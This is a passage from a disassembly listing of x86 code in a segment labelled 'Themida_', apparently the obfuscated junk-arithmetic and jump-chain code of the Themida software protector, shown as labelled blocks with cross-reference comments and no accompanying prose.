		or	edx, 676275A0h
		jmp	loc_56FB77
; ---------------------------------------------------------------------------


loc_56FC91:				; CODE XREF: Themida_:0056615Bj
		mov	ecx, 5F7B2306h
		add	edx, 0FE4617Ch
		add	edx, ecx
		sub	edx, 0FE4617Ch
		pop	ecx
		add	dword ptr [edx], 1
		mov	edx, [esp]
		push	ebp
		sub	esp, 4
		jmp	loc_56309B
; ---------------------------------------------------------------------------


loc_56FCBA:				; CODE XREF: Themida_:00566519j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_567A6E
; ---------------------------------------------------------------------------


loc_56FCC7:				; CODE XREF: Themida_:0056833Ej
		pop	edx
		pop	ebp
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jz	loc_571C1D
		push	ebx
		jmp	loc_56C1FC
; ---------------------------------------------------------------------------


loc_56FCE6:				; CODE XREF: Themida_:00566632j
		xor	esi, [esp]
		mov	esp, [esp]
		add	ecx, 4
		jmp	loc_56102F
; ---------------------------------------------------------------------------


loc_56FCF7:				; CODE XREF: Themida_:0056F33Aj
		sub	edx, 0E1FEFA8Bh
		xor	esi, edx
		pop	edx
		add	ebp, 27AA5165h
		add	ebp, esi
		sub	ebp, 27AA5165h
		jmp	loc_560778
; ---------------------------------------------------------------------------


loc_56FD13:				; CODE XREF: Themida_:00571AA5j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		jmp	loc_55FE82
; ---------------------------------------------------------------------------


loc_56FD22:				; CODE XREF: Themida_:0057125Ej
		pop	ebx
		sub	eax, ecx
		pop	ecx
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	7214h
		jmp	loc_5746B9
; ---------------------------------------------------------------------------


loc_56FD3D:				; CODE XREF: Themida_:00570EFBj
		pop	esp
		mov	[esp], edx
		push	esp
		jmp	loc_56E81D
; ---------------------------------------------------------------------------


loc_56FD47:				; CODE XREF: Themida_:00563797j
		pop	esi
		jmp	loc_569419
; ---------------------------------------------------------------------------


loc_56FD4D:				; CODE XREF: Themida_:00573E8Fj
		mov	ebp, 73526BE5h
		dec	ebp
		push	ebx
		mov	ebx, 27B757C9h
		not	ebx
		push	eax
		jmp	loc_56E63F
; ---------------------------------------------------------------------------


loc_56FD61:				; CODE XREF: Themida_:005620F0j
		inc	ecx
		xchg	eax, ecx
		inc	eax
		sub	eax, 0C0714C9h
		xor	eax, 2F1C3F74h
		or	edx, eax
		pop	eax
		or	edx, 4AC3E3Ch
		and	edx, 30A76AA4h
		sub	edx, 30A66AA0h
		jmp	loc_569D92
; ---------------------------------------------------------------------------


loc_56FD88:				; CODE XREF: Themida_:0056DAB5j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_56D770
; ---------------------------------------------------------------------------


loc_56FD9C:				; CODE XREF: Themida_:0055FA31j
		xor	eax, edx
		pop	edx
		sub	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_572C78
; ---------------------------------------------------------------------------


loc_56FDB0:				; CODE XREF: Themida_:005643AAj
		push	edx
		push	ebx
		push	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5617D3
; ---------------------------------------------------------------------------


loc_56FDBE:				; CODE XREF: Themida_:00574498j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	754Bh
		jmp	loc_563DB8
; ---------------------------------------------------------------------------


loc_56FDE3:				; CODE XREF: Themida_:0056DE1Dj
		add	al, 0FFh
		jmp	loc_572106
; ---------------------------------------------------------------------------


loc_56FDEA:				; CODE XREF: Themida_:0056537Cj
		push	ebp
		mov	ebp, 58A61F24h
		xor	ebp, 0A799382Fh
		jmp	loc_56F085
; ---------------------------------------------------------------------------


loc_56FDFB:				; CODE XREF: Themida_:0056A65Dj
		push	eax
		mov	eax, 2EED0F34h
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, edx
		mov	esi, edi
		pop	edi
		pop	edx
		add	edx, 3686759Bh
		add	edx, esi
		sub	edx, 3686759Bh
		mov	esi, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	edi, [esp]
		jmp	loc_57025C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	680Bh
		mov	[esp], esp
		jmp	loc_567B8C
; ---------------------------------------------------------------------------


loc_56FE52:				; CODE XREF: Themida_:00565A47j
		mov	ebx, esp
		jmp	loc_568D55
; ---------------------------------------------------------------------------


loc_56FE59:				; CODE XREF: Themida_:0056175Aj
		push	edx
		jmp	loc_5621E3
; ---------------------------------------------------------------------------


loc_56FE5F:				; CODE XREF: Themida_:0056493Fj
		add	esp, 4
		add	ebx, 4368F0AAh
		push	3842h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 66C21278h
		xor	[esp+4], ebp
		pop	ebp
		pop	ecx
		push	edi
		mov	edi, 66C21278h
		xor	ecx, edi
		mov	edi, [esp]
		jmp	loc_56D888
; ---------------------------------------------------------------------------


loc_56FE8F:				; CODE XREF: Themida_:00562FFBj
		push	edx
		jmp	loc_5665AD
; ---------------------------------------------------------------------------


loc_56FE95:				; CODE XREF: Themida_:0056F7E3j
		push	ebx
		jmp	loc_56639D
; ---------------------------------------------------------------------------


loc_56FE9B:				; CODE XREF: Themida_:005626E4j
		push	402Ah
		jmp	loc_571C0A
; ---------------------------------------------------------------------------


loc_56FEA5:				; CODE XREF: Themida_:005605E8j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_56E36F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	7C8Ah
		mov	[esp], esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 19FD3057h
		add	eax, 20ED1930h
		push	edi
		mov	edi, 4E1059F7h
		add	eax, edi
		pop	edi
		not	eax
		jmp	loc_564261
; ---------------------------------------------------------------------------


loc_56FEE7:				; CODE XREF: Themida_:00565D62j
		mov	ecx, ebp
		pop	ebp
		inc	ecx
		jmp	loc_56501A
; ---------------------------------------------------------------------------


loc_56FEF0:				; CODE XREF: Themida_:005633FBj
		mov	[esp], ebx
		jmp	loc_57383F
; ---------------------------------------------------------------------------


loc_56FEF8:				; CODE XREF: Themida_:00573E1Aj
		mov	edi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_566114
; ---------------------------------------------------------------------------


loc_56FF07:				; CODE XREF: Themida_:00569B4Bj
		push	edi
		push	ecx
		mov	ecx, 61515C2Dh
		jmp	loc_563400
; ---------------------------------------------------------------------------


loc_56FF13:				; CODE XREF: Themida_:005730B2j
		shr	esi, 7
		shr	esi, 8
		push	edi
		jmp	loc_568FCF
; ---------------------------------------------------------------------------


loc_56FF1F:				; CODE XREF: Themida_:0056AB21j
		pop	ebp
		sub	edi, ecx
		push	esi
		mov	esi, 47C5495Ah
		sub	edi, esi
		pop	esi
		pop	ecx
		add	edi, 57352D99h
		xor	edi, 0CC45C6C0h
		jmp	loc_572F95
; ---------------------------------------------------------------------------


loc_56FF3D:				; CODE XREF: Themida_:0056A66Ej
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	ecx, 187D2A7Ah
		jmp	loc_562EC1
; ---------------------------------------------------------------------------


loc_56FF52:				; CODE XREF: Themida_:005691A0j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_55FC39
; ---------------------------------------------------------------------------


loc_56FF6D:				; CODE XREF: Themida_:00574228j
		add	ecx, 0A33166DAh
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_569D5F
; ---------------------------------------------------------------------------


loc_56FF89:				; CODE XREF: Themida_:00567563j
		add	esp, 2
		add	al, bl
		pop	ebx
		sub	al, 47h
		add	al, 0ECh
		add	al, bl
		sub	al, 0ECh
		jmp	loc_573A45
; ---------------------------------------------------------------------------


loc_56FF9C:				; CODE XREF: Themida_:0056A51Bj
		mov	eax, [esp]
		add	esp, 4
		push	eax
		xchg	ebx, [esp]
		xchg	ecx, ebx
		jmp	loc_566B0F
; ---------------------------------------------------------------------------


loc_56FFAD:				; CODE XREF: Themida_:0056DE4Aj
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		push	3F7Bh
		mov	[esp], edi
		push	4
		pop	edi
		push	edx
		jmp	loc_56194E
; ---------------------------------------------------------------------------


loc_56FFC8:				; CODE XREF: Themida_:005733D8j
		add	esp, 4
		shr	edx, 1
		push	ecx
		jmp	loc_56A349
; ---------------------------------------------------------------------------


loc_56FFD6:				; CODE XREF: Themida_:0055F825j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_55FD38
; ---------------------------------------------------------------------------


loc_56FFEC:				; CODE XREF: Themida_:0056C9F9j
		mov	bh, dl
		jmp	loc_56CFCE
; ---------------------------------------------------------------------------


loc_56FFF3:				; CODE XREF: Themida_:005665BAj
		pop	edx
		not	ebp
		shl	ebp, 1
		xor	ebp, 68275FAAh
		sub	eax, ebp
		pop	ebp
		push	ebx
		push	35FDh
		jmp	loc_571888
; ---------------------------------------------------------------------------


loc_57000C:				; CODE XREF: Themida_:0056D0B8j
		push	ebp
		push	3E9F4C0Bh
		pop	ebp
		shl	ebp, 4
		inc	ebp
		sub	ebp, 0BACF9917h
		mov	edi, ebp
		jmp	loc_562B5E
; ---------------------------------------------------------------------------


loc_570024:				; CODE XREF: Themida_:00571F9Ej
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4A5431E4h
		dec	ebp
		dec	ebp
		xor	ebp, 325D65FFh
		add	ebp, 87F6ABE7h
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp


loc_57004B:				; CODE XREF: Themida_:0056740Ej
		push	esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_563F24
; ---------------------------------------------------------------------------


loc_57005A:				; CODE XREF: Themida_:005741C4j
		add	ebx, edi
		jmp	loc_5656A6
; ---------------------------------------------------------------------------


loc_570061:				; CODE XREF: Themida_:005677D8j
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_568E7B
; ---------------------------------------------------------------------------


loc_57007A:				; CODE XREF: Themida_:0055FD8Ej
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 606D2065h
		neg	ebx
		not	ebx
		shr	ebx, 8
		jmp	loc_56882E
; ---------------------------------------------------------------------------


loc_570097:				; CODE XREF: Themida_:00567E37j
		add	bl, 0FFh
		shr	bl, 6
		jmp	loc_56ADB2
; ---------------------------------------------------------------------------


loc_5700A2:				; CODE XREF: Themida_:0056B73Fj
		sub	eax, 3E910C6Fh
		add	eax, ecx
		jmp	loc_5705AE
; ---------------------------------------------------------------------------


loc_5700AE:				; CODE XREF: Themida_:00567530j
		not	esi
		inc	esi
		jmp	loc_56C3CD
; ---------------------------------------------------------------------------


loc_5700B6:				; CODE XREF: Themida_:005746A4j
		sub	edx, 536D3E6Fh
		and	edx, 0D6A33E6h
		sub	edx, 5504266Fh
		push	esi
		mov	esi, 133F20F9h
		shl	esi, 5
		jmp	loc_56A85C
; ---------------------------------------------------------------------------


loc_5700D6:				; CODE XREF: Themida_:0056CB5Fj
		push	edx
		mov	edx, 6E497278h
		add	eax, edx
		jmp	loc_5705D6
; ---------------------------------------------------------------------------


loc_5700E3:				; CODE XREF: Themida_:0056C906j
		mov	edi, 0
		sub	edi, ebp
		xchg	edi, ebp
		mov	edi, [esp]
		jmp	loc_564674
; ---------------------------------------------------------------------------


loc_5700F4:				; CODE XREF: Themida_:00563714j
		not	ecx
		xor	ecx, 4C8217DBh
		add	ecx, 0D6617128h
		jmp	loc_564301
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5699B9
; ---------------------------------------------------------------------------


loc_570110:				; CODE XREF: Themida_:005602C9j
		pop	ebx
		sub	ecx, 30A62120h
		add	ecx, esi
		push	eax
		push	edi
		jmp	loc_564520
; ---------------------------------------------------------------------------


loc_570120:				; CODE XREF: Themida_:005615F3j
		add	ebx, esi
		jmp	loc_573107
; ---------------------------------------------------------------------------


loc_570127:				; CODE XREF: Themida_:005717C9j
		xchg	eax, esi
		dec	esi
		xchg	eax, esi
		jmp	loc_56F55D
; ---------------------------------------------------------------------------


loc_57012F:				; CODE XREF: Themida_:0055FE8Ej
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	5F7Dh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		push	7BF1h
		jmp	loc_566897
; ---------------------------------------------------------------------------


loc_570151:				; CODE XREF: Themida_:00567A21j
		xor	ebx, 7A2C416Dh
		mov	esi, ebx
		pop	ebx
		jmp	loc_567B6E
; ---------------------------------------------------------------------------


loc_57015F:				; CODE XREF: Themida_:00560852j
		pop	ebp
		push	ecx
		jmp	loc_56B31A
; ---------------------------------------------------------------------------


loc_570166:				; CODE XREF: Themida_:00570274j
		add	edi, ecx
		jmp	loc_56AE14
; ---------------------------------------------------------------------------


loc_57016D:				; CODE XREF: Themida_:00571C57j
		add	esp, 4
		jmp	loc_5738B7
; ---------------------------------------------------------------------------


loc_570175:				; CODE XREF: Themida_:00571517j
		push	edx
		jmp	loc_56DE87
; ---------------------------------------------------------------------------


loc_57017B:				; CODE XREF: Themida_:00560BDEj
		sub	bl, al
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		sub	edi, 66136B4Dh
		jmp	loc_564DAB
; ---------------------------------------------------------------------------


loc_570191:				; CODE XREF: Themida_:0056477Ej
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, 24C650DEh
		mov	edx, ebx
		jmp	loc_568E97
; ---------------------------------------------------------------------------


loc_5701A7:				; CODE XREF: Themida_:005722FBj
		mov	esi, 3CC55040h
		jmp	loc_563701
; ---------------------------------------------------------------------------


loc_5701B1:				; CODE XREF: Themida_:0056DC45j
		pop	edx
		push	edx
		jmp	loc_57329C
; ---------------------------------------------------------------------------


loc_5701B8:				; CODE XREF: Themida_:00569E33j
		pop	ebp
		shr	ebp, 4
		push	esi
		jmp	loc_56F094
; ---------------------------------------------------------------------------


loc_5701C2:				; CODE XREF: Themida_:00562BD5j
		pop	dword ptr [esp]
		pop	esp
		pop	edx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5701D2:				; CODE XREF: Themida_:0056D46Dj
		mov	ebp, [esp]
		jmp	loc_56EE2F
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ebx
		mov	bh, 79h
		jmp	loc_568740
; ---------------------------------------------------------------------------


loc_5701E5:				; CODE XREF: Themida_:00567E5Cj
		mov	esp, [esp]
		jmp	loc_56C600
; ---------------------------------------------------------------------------


loc_5701ED:				; CODE XREF: Themida_:00561AA2j
		mov	ebx, 130A215Fh
		push	eax
		mov	eax, 688F7BF0h
		mov	esi, eax
		jmp	loc_566477
; ---------------------------------------------------------------------------


loc_5701FF:				; CODE XREF: Themida_:005715C1j
		push	376Fh
		jmp	loc_55FBC1
; ---------------------------------------------------------------------------


loc_570209:				; CODE XREF: Themida_:00573120j
		mov	ebx, 442C01BEh
		jmp	loc_573520
; ---------------------------------------------------------------------------


loc_570213:				; CODE XREF: Themida_:0056EF7Bj
		add	esp, 4
		shr	ecx, 2
		jmp	loc_56682A
; ---------------------------------------------------------------------------


loc_570221:				; CODE XREF: Themida_:00564B75j
		push	ebp
		mov	ebp, 269C0496h
		sub	edx, ebp
		jmp	loc_57356A
; ---------------------------------------------------------------------------


loc_57022E:				; CODE XREF: Themida_:00570E9Bj
		pop	esi
		add	esp, 4
		mov	edi, 2BCB214Eh
		sub	edi, ebp
		mov	ebp, [esp]
		jmp	loc_56065C
; ---------------------------------------------------------------------------


loc_570241:				; CODE XREF: Themida_:00560556j
		dec	dh
		shr	dh, 8
		and	dh, 32h
		sub	dh, 82h
		jmp	loc_561255
; ---------------------------------------------------------------------------


loc_570251:				; CODE XREF: Themida_:005735CAj
		sub	esp, 4
		jmp	loc_5723CF
; ---------------------------------------------------------------------------


loc_57025C:				; CODE XREF: Themida_:0056FE33j
		add	esp, 4
		sub	edi, 46314735h
		push	ebp
		mov	ebp, 3AAF30FEh
		add	edi, ebp
		pop	ebp
		sub	edi, 2C6846BBh
		jmp	loc_570166
; ---------------------------------------------------------------------------


loc_570279:				; CODE XREF: Themida_:005688C8j
		mov	[esp], edx
		mov	edx, 8D8048Ah
		inc	edx
		shr	edx, 4
		add	edx, 126E7E56h
		mov	ecx, edx
		jmp	loc_573C07
; ---------------------------------------------------------------------------


loc_570292:				; CODE XREF: Themida_:0056BFFEj
		mov	[esp], ebp
		jmp	loc_574755
; ---------------------------------------------------------------------------


loc_57029A:				; CODE XREF: Themida_:00562397j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	ebx, 3E6D78E1h
		not	ebx
		dec	ebx
		dec	ebx
		jmp	loc_5618C9
; ---------------------------------------------------------------------------


loc_5702CB:				; CODE XREF: Themida_:00563896j
		and	edx, 5B0F27F3h
		not	edx
		push	eax
		push	edx
		mov	edx, 79562441h
		jmp	loc_573924
; ---------------------------------------------------------------------------


loc_5702DF:				; CODE XREF: Themida_:005676CEj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5618D7
; ---------------------------------------------------------------------------


loc_5702F0:				; CODE XREF: Themida_:0056743Ej
		add	ebx, 43FD08ECh
		add	ebx, eax
		sub	ebx, 43FD08ECh
		add	ebx, 25E607AFh
		pop	eax
		push	ebp
		mov	ebp, 492370B2h
		inc	ebp
		jmp	loc_5680B0
; ---------------------------------------------------------------------------


loc_570311:				; CODE XREF: Themida_:0056B723j
		pop	edx
		push	eax
		jmp	loc_5705B9
; ---------------------------------------------------------------------------


loc_570318:				; CODE XREF: Themida_:00569BE9j
		push	1DFBh
		mov	[esp], edi
		mov	edi, 38263C53h
		add	edi, 1FDC31D8h
		push	edx
		jmp	loc_569689
; ---------------------------------------------------------------------------


loc_570331:				; CODE XREF: Themida_:0057098Cj
		mov	dh, ah
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		xor	al, dh
		jmp	loc_560FF2
; ---------------------------------------------------------------------------


loc_570344:				; CODE XREF: Themida_:0056710Fj
		pop	edx
		and	ebp, 2742063Ah
		jmp	loc_56941F
; ---------------------------------------------------------------------------


loc_570350:				; CODE XREF: Themida_:0056227Cj
		add	edi, 4
		push	27D7h
		mov	[esp], eax
		mov	eax, 4
		add	edi, 38853C4Bh
		jmp	loc_56CEDD
; ---------------------------------------------------------------------------


loc_57036E:				; CODE XREF: Themida_:0056B5C6j
		mov	[esp], ecx
		jmp	loc_56D52C
; ---------------------------------------------------------------------------


loc_570376:				; CODE XREF: Themida_:0056CF0Dj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		add	esi, 4
		add	esi, 4
		jmp	loc_572C14
; ---------------------------------------------------------------------------


loc_57039C:				; CODE XREF: Themida_:00560BB1j
		mov	[esp], ecx
		mov	ecx, 0B90F1A2Bh
		sub	ebp, ecx
		pop	ecx
		jmp	loc_56AB1F
; ---------------------------------------------------------------------------


loc_5703AC:				; CODE XREF: Themida_:0056BFD2j
		mov	edx, eax
		jmp	loc_57422D
; ---------------------------------------------------------------------------


loc_5703B3:				; CODE XREF: Themida_:00571C6Aj
		pop	esi
		jmp	loc_55FB9B
; ---------------------------------------------------------------------------


loc_5703B9:				; CODE XREF: Themida_:005696FEj
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		push	1D3Dh
		jmp	loc_5644E3
; ---------------------------------------------------------------------------


loc_5703CC:				; CODE XREF: Themida_:00563AC4j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_5634B0
; ---------------------------------------------------------------------------


loc_5703D8:				; CODE XREF: Themida_:00560227j
		mov	al, 91h
		push	dx
		jmp	loc_568D2D
; ---------------------------------------------------------------------------


loc_5703E1:				; CODE XREF: Themida_:0056C5B3j
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_573F51
; ---------------------------------------------------------------------------


loc_5703F4:				; CODE XREF: Themida_:0056A706j
		add	esi, 45225889h
		sub	esi, 74591C21h
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_561F80
; ---------------------------------------------------------------------------


loc_57040C:				; CODE XREF: Themida_:005690D8j
		add	bh, 64h
		add	al, bh
		jmp	loc_565EE4
; ---------------------------------------------------------------------------


loc_570416:				; CODE XREF: Themida_:0056E4E3j
		pop	esp
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4D4851E9h
		xor	ebp, ecx
		pop	ecx
		shl	ebp, 8
		add	ebp, 0E3A0BB04h
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_566934
; ---------------------------------------------------------------------------


loc_57044D:				; CODE XREF: Themida_:00564D0Fj
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_56DFB1
; ---------------------------------------------------------------------------


loc_570459:				; CODE XREF: Themida_:00573042j
		push	ecx
		mov	ecx, 5CFA0DF7h
		jmp	loc_568A9F
; ---------------------------------------------------------------------------


loc_570464:				; CODE XREF: Themida_:005671D4j
		add	ebx, 6C27B87Dh
		add	ebp, ebx
		pop	ebx
		jmp	loc_572CE9
; ---------------------------------------------------------------------------


loc_570472:				; CODE XREF: Themida_:0056B948j
		sub	edx, ecx
		pop	ecx
		jmp	loc_564404
; ---------------------------------------------------------------------------


loc_57047A:				; CODE XREF: Themida_:00563F7Bj
		push	dword ptr [esp+4]
		jmp	loc_57408C
; ---------------------------------------------------------------------------


loc_570483:				; CODE XREF: Themida_:005675D6j
		mov	edi, 4
		sub	dword ptr [esp+4], 7EB62D20h
		jmp	loc_562E2C
; ---------------------------------------------------------------------------


loc_570495:				; CODE XREF: Themida_:0056817Aj
		shr	edi, 4
		jmp	loc_573F80
; ---------------------------------------------------------------------------


loc_57049D:				; CODE XREF: Themida_:0057118Aj
		add	esp, 4
		push	eax
		jmp	loc_56676E
; ---------------------------------------------------------------------------


loc_5704A6:				; CODE XREF: Themida_:00569684j
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, 2FD85F0Eh
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		shl	eax, 4
		add	eax, 528521F4h
		dec	eax
		sub	eax, 0FFFFFFFFh
		sub	eax, 4D6F4C8Eh
		jmp	loc_5698D2
; ---------------------------------------------------------------------------


loc_5704D9:				; CODE XREF: Themida_:00571C8Fj
		pop	dword ptr [esp]
		jmp	loc_56356D
; ---------------------------------------------------------------------------


loc_5704E1:				; CODE XREF: Themida_:00563002j
		sub	esi, 664843E0h
		sub	esi, 1F744776h
		pop	edi
		sub	esi, 688C58E6h
		add	esi, 0B01D75FFh
		xor	ebx, esi
		jmp	loc_569ACF
; ---------------------------------------------------------------------------


loc_570501:				; CODE XREF: Themida_:00561106j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5671AC
; ---------------------------------------------------------------------------


loc_57050F:				; CODE XREF: Themida_:0056B2FAj
		pop	dword ptr [esp]
		jmp	loc_56368C
; ---------------------------------------------------------------------------


loc_570517:				; CODE XREF: Themida_:005653D2j
		xor	edi, edx
		pop	edx
		push	esi
		mov	esi, 3C155A86h
		xor	edi, esi
		pop	esi
		sub	ebx, edi
		jmp	loc_564EFA
; ---------------------------------------------------------------------------


loc_57052A:				; CODE XREF: Themida_:00561872j
		sub	edx, 43CB239Eh
		add	edx, ebx
		push	esi
		mov	esi, 43CB239Eh
		add	edx, esi
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_564D5A
; ---------------------------------------------------------------------------


loc_570549:				; CODE XREF: Themida_:00563E98j
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_5733C5
; ---------------------------------------------------------------------------


loc_570562:				; CODE XREF: Themida_:00566116j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebx
		push	5CA2h
		mov	[esp], eax
		mov	eax, 4
		mov	ebx, eax
		pop	eax
		jmp	loc_55FF05
; ---------------------------------------------------------------------------


loc_570586:				; CODE XREF: Themida_:00564B5Bj
		add	eax, 4
		jmp	loc_561C51
; ---------------------------------------------------------------------------


loc_57058E:				; CODE XREF: Themida_:00573F41j
		pop	edx
		jmp	loc_567000
; ---------------------------------------------------------------------------


loc_570594:				; CODE XREF: Themida_:0055FB09j
		mov	ebx, 59183DD5h
		jmp	loc_56F26E
; ---------------------------------------------------------------------------


loc_57059E:				; CODE XREF: Themida_:0056D3BCj
		pop	eax
		sub	esp, 2
		mov	[esp], ax
		push	edx
		mov	dl, 17h
		jmp	loc_567558
; ---------------------------------------------------------------------------


loc_5705AE:				; CODE XREF: Themida_:005700A9j
		add	eax, 3E910C6Fh
		pop	ecx
		jmp	loc_563153
; ---------------------------------------------------------------------------


loc_5705B9:				; CODE XREF: Themida_:00570313j
		mov	al, 39h
		xor	al, 28h
		and	al, 6Eh
		dec	al
		not	al
		shl	al, 6
		sub	esp, 4
		jmp	loc_568F20
; ---------------------------------------------------------------------------


loc_5705CE:				; CODE XREF: Themida_:0056515Bj
		xchg	eax, [esp]
		jmp	loc_571940
; ---------------------------------------------------------------------------


loc_5705D6:				; CODE XREF: Themida_:005700DEj
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1B587D40h
		jmp	loc_567CC4
; ---------------------------------------------------------------------------


loc_5705E7:				; CODE XREF: Themida_:00564223j
		push	esi
		push	ecx
		mov	ecx, 313D31C6h
		mov	esi, ecx
		pop	ecx
		add	eax, esi
		pop	esi
		add	eax, ebx
		jmp	loc_565D22
; ---------------------------------------------------------------------------


loc_5705FB:				; CODE XREF: Themida_:0056B28Cj
		shr	eax, 0Ch
		xor	eax, ecx
		push	1E8Ah
		mov	[esp], ebp
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5692ED
; ---------------------------------------------------------------------------


loc_570617:				; CODE XREF: Themida_:00565E88j
		inc	ch
		xor	ch, 0F1h
		xor	al, ch
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebx
		jmp	loc_56B6DB
; ---------------------------------------------------------------------------


loc_570630:				; CODE XREF: Themida_:00568EB8j
		push	ecx
		jmp	loc_5691A5
; ---------------------------------------------------------------------------


loc_570636:				; CODE XREF: Themida_:005736F2j
		pop	esi
		push	ebx
		xor	dword ptr [esp], 3CCD2DEFh
		pop	ebp
		xor	ebp, 3CCD2DEFh
		pop	ebx
		add	dword ptr [esp+4], 62531962h
		sub	dword ptr [esp+4], 33C62110h
		jmp	loc_560324
; ---------------------------------------------------------------------------


loc_57065C:				; CODE XREF: Themida_:005689FBj
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_571D6F
; ---------------------------------------------------------------------------


loc_570669:				; CODE XREF: Themida_:0056F206j
		push	7C7Bh
		mov	[esp], ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_569279
; ---------------------------------------------------------------------------


loc_570680:				; CODE XREF: Themida_:0056520Cj
		mov	edx, [esp]
		jmp	loc_566395
; ---------------------------------------------------------------------------


loc_570688:				; CODE XREF: Themida_:0056D2D4j
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5634DF
; ---------------------------------------------------------------------------


loc_57069C:				; CODE XREF: Themida_:00572162j
		pop	edx
		add	esp, 4
		sub	ebx, 1844633Dh
		add	ebx, edx
		jmp	loc_55F5BA
; ---------------------------------------------------------------------------


loc_5706B0:				; CODE XREF: Themida_:005607D9j
		mov	ebp, edx
		jmp	loc_573356
; ---------------------------------------------------------------------------


loc_5706B7:				; CODE XREF: Themida_:0056A080j
		xor	ebp, 4505F832h
		jmp	loc_564D7E
; ---------------------------------------------------------------------------


loc_5706C2:				; CODE XREF: Themida_:00563E01j
		push	eax
		mov	eax, esp
		jmp	loc_5728BE
; ---------------------------------------------------------------------------


loc_5706CA:				; CODE XREF: Themida_:00564AEEj
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_561588
; ---------------------------------------------------------------------------


loc_5706D9:				; CODE XREF: Themida_:00564252j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


